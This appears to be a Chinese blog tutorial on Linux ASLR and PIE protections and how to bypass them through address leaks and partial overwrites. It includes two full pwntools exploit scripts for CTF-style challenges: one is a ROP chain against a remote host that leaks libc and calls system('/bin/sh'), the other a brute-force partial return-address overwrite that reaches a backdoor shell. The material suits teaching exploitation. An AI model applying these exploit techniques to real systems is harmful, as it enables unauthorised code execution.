ASLR和PIE

ASLR和PIE

ASLR

地址空间布局随机化(Address Space Layout Randomization,ASLR),引入内存布局的随机化能有效增加漏洞利用难度。ASLR提供的只是概率上的安全性,根据用于随机化的熵,攻击者有可能幸运地猜测到正确的地址,有时攻击者还可以爆破。

在linux系统上,ASLR的全局配置**/proc/sys/kernel/randomize_va_space** 有以下三种情况:

0 - 表示关闭进程地址空间随机化
1 - 表示将mmap的基址,stack和vdso页面随机化
2 - 表示在1的基础上增加栈(heap)的随机化

如下查看ASLR配置,此时系统上为2

PIE

PIE 全称为位置无关可执行文件(Position-Independent Executable),它在应用层的编译器上实现,通过将程序编译为位置无关代码(Position-Independent Code, PIC),使程序可以加载到任意位置,就像一个特殊的共享库。在 PIE和ASLR同时开启 的情况下,攻击者将对程序内部布局一无所知,大大增加了利用难度。

GCC支持的PIE选项

1
2
3
4
5
-fpic       为共享库生成位置无关代码
-pie 生成动态链接的位置无关的可执行文件,通常需要同时指定 -fpie
-no-pie 不生成动态链接的位置无关的可执行文件
-fpie 类似于-fpic,但生成的位置无关代码只能用于可执行文件,通常同时指定-pie
-fno-pie 不生成位置无关代码

绕过方法

  • 泄露地址
  • partial write

泄露地址

PIE保护机制影响的是程序加载的基质,并不影响程序中函数以及指令之间的相对地址。因此可以通过泄露程序中某个函数地址和偏移距离来推断出其他函数的地址。

例题反汇编后的伪代码如下,任意输入三个数字

其中vul函数中存在明显的栈溢出

由于该程序开启了ASLR和PIE,所以不能直接覆盖got表

PIE保护机制不会随机化地址的低12位(十六进制的后3位)

思路如下

  1. 首先获取程序运行时libc的基质。利用libc_start_main的地址减去到libc的偏移距离,得到libc基址
  2. 通过libc地址来获取system和/bash/sh的地址

具体做法是利用 put() 函数是打印一个字符串,直到遇到 ‘\x00‘才会停止打印,而我们输入的函数是 read() ,它不会帮我们添加 ‘\x00‘,所以我们能用这个点来泄露出 vlu() 的返回地址,即main函数里的地址,也就能得到程序的运行基址,注意到 vul() 的返回地址为 A89 ,而我们只能覆盖一个字节,开了PIE后只有最后三位是相同的,所以不能覆盖两个字节,所以我们只能回到 A7F处,同样能达到我们再次栈溢出的目的

然后有了程序基址,我们正常利用puts的plt表来调用puts泄露got表内容,因为got表写的是libc函数地址,所以就等于我们得到了libc基址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level = 'debug'

#p = process("./checkin_revenge")
p = remote("172.16.68.4", 10002)
e = ELF("./checkin_revenge")

a = str(1)
b = str(2)
c = str(3)

off = 0x10 + 8
p.sendlineafter("Give me your a:",a)
p.sendlineafter("Give me your b:",b)
p.sendlineafter("Give me your c:",c)

#gdb.attach(p, "bp $rebase(0x991)")
payload = "a" * off + "\x7f"
p.send(payload)
main_addr = u64(p.recvuntil('\x55')[-6:].ljust(8,'\x00'))
success("main:" + hex(main_addr))
code_base = main_addr & 0xfffffffffffff000

puts_plt = e.plt["puts"] + code_base
print("puts_plt:" + hex(puts_plt))
puts_got = e.got["puts"] + code_base
pop_rdi = 0x0000000000000b03 + code_base
payload = 'a' * off + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.send(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
print("puts_addr:" + hex(puts_addr))

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("./x86_libc.so.6")
base_addr = puts_addr - libc.symbols["puts"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()
success("system:" + hex(system_addr))
success("binsh:" + hex(binsh_addr))

payload = 'a' * off + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

partial write

partial write (部分写入)就是一种利用了PIE技术缺陷的绕过技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP

例题如下:

开启了PIE和NX保护

反汇编后伪代码如下

进入dosms函数

进入set_user函数

进入set_sms函数

并且程序中存在后门函数frontdoor,如下

思路如下:

  1. 在set_sms()中fgets函数向s处读入数据,再通过strncpy函数将s的(a1+180)长度复制到a1。这里只要a1+180数值足够大就可以造成栈溢出
  2. 由set_user()中可以得到a1+180处可以被修改,所以可以利用栈溢出改写程序的返回地址为frontdoor的地址即可

但由于程序设置了PIE保护,无法知道后门函数的准备地址,只知道地址后3位为0x900。所以我们利用 partial write 方法来部分覆盖返回地址,但是由于payload必须按字节写入,每个字节是两个十六进制数,所以我们必须输入两个字节,就是4个十六进制数。除去已知的0x900还需要爆破一个十六进制数。这个数只可能在0~0xf之间改变,因此爆破空间不大,可以接受。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding:utf-8
from pwn import *
context.log_level = 'debug'

i = 0
while True:
i += 1
success("this is the %d times" % i)
p = process('./SMS')
payload1 = 'a'*40 + '\xca'
p.sendlineafter('Enter your name\n', payload1)
payload2 = 'b'*200 + '\x01\x09' # 这里假设实际地址低16位为0x0901,爆破直到地址正确
p.sendlineafter('SMS our leader\n', payload2)
p.recv()
try:
p.recv(timeout = 1)
except EOFError:
p.close() # 如果触发异常,即地址第16位不为0x0901,那么关闭程序,继续下一趟的尝试
continue
else: # 没有触发异常,说明程序成功调用frontdoor,那么输入参数获取shell
p.sendline('/bin/sh\x00')
p.interactive()
break
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信